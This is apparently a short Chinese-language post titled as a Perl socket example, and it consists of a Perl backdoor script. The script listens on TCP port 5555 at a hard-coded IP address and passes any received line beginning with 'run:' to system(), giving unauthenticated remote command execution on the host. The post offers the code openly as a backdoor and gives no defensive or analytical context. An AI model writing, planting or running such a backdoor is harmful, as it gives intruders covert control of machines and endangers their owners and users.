perl socket应用实例——pelr后门

#!/usr/bin/perl -w
use IO::Socket;
$ip_addr = '210.75.27.29';
$u_port = 5555 ;
$sock_1 = IO::Socket::INET->new(
    LocalHost => $ip_addr,
    LocalPort => $u_port,
    Proto => 'tcp',
    Listen => 20,
    Reuse => 1,
)
or die "no socket:$!";
while ( 1 )
{
    $sock_2 = $sock_1->accept() or die "accept socket error:$!";;
    while( $data = <$sock_2> )
    {
        print $data;
        if ( $data =~ /run:/ )
        {
            $my_command = $data;
            $my_command =~ s/run:/ / ;
            system ($my_command);
        }

        if ( $data =~ /exit/ )
        {
            $retval = fork();
            if ($retval == 0)
            {
                close $sock_2;
                close $sock_1;
                exit;
                # this is the parent process
            }
            else
            {
                print "retval:",$retval,"\n";
                close $sock_2;
                last;
                # this terminates the child process
            }
        }
    }
}